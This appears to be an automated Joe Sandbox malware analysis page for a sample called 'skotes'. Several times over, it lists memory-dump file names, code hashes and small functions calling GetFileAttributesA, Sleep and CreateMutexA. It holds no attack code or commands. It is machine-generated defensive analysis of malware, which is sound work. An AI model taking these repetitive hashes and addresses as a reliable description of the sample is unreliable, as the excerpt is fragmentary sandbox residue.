Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7f4a92435a38a69daa0a7c4e9e2a772e0b5329a360b20e6077025604dc83a3d8
Instruction ID: d362300f8daa000c8e6d76a90ea593c60f7c2d182db58c1afce3c32135755830
Opcode Fuzzy Hash: 7f4a92435a38a69daa0a7c4e9e2a772e0b5329a360b20e6077025604dc83a3d8
Instruction Fuzzy Hash: B3312A317013059BEB18DB7CEC897ADB762EBD6310F244218E4189B3D1D77589808776

Function 00D0A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A2E6
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 97669ea17ee076d9a063b295afd7e78f453b3da3369d82f5d849ad7d176294b8
Instruction ID: c1c0883d6bd1fa513355699f7cedd65ffc7d2f33bb2593b7853f6945f01a9520
Opcode Fuzzy Hash: 97669ea17ee076d9a063b295afd7e78f453b3da3369d82f5d849ad7d176294b8
Instruction Fuzzy Hash: CF313B317013049BEB18DBBCEC897ADB772EBD6314F648218E419977D5C77689808772

Function 00D0A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A41B
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b64ceb8a5bc31f90002d3e9be4606a6b6750310c4980221c896aac7a8177ff31
Instruction ID: dbe31c4154b00b1510cc4f7cf1398ec6265c7983bacace59e285d97f6baf3de4
Opcode Fuzzy Hash: b64ceb8a5bc31f90002d3e9be4606a6b6750310c4980221c896aac7a8177ff31
Instruction Fuzzy Hash: A1311931B013049BDB18DBBCE88DBADB762EBD6310F248218E458973D5D7B589808772

Function 00D0A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A550
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ac2fd4b8b7a81ebdbe3dca13a5525708212e7ab8862aa4695f03047348da8500
Instruction ID: 2f080f89a6005e4622d1d481ee9c198f1798b105915fac5a813b84c6fe402851
Opcode Fuzzy Hash: ac2fd4b8b7a81ebdbe3dca13a5525708212e7ab8862aa4695f03047348da8500
Instruction Fuzzy Hash: 093107317013059BEB18DB7CEC9DBADB762EBC6314F648218E458973D1CB7589808B72

Function 00D0A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A685
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7bc3c0a77dda664135d951b5dc37a5a178ef763c8d93a3352833984bf6643c90
Instruction ID: f87c42b63d57cae64e4b819705ff998198e80f1bd06685e3dba28cd67aa88da2
Opcode Fuzzy Hash: 7bc3c0a77dda664135d951b5dc37a5a178ef763c8d93a3352833984bf6643c90
Instruction Fuzzy Hash: 853108317013059BEB18DB7CED89BADB7B2EBC6310F688618E418977D5C77589808B72

Function 00D0A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A7BA
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
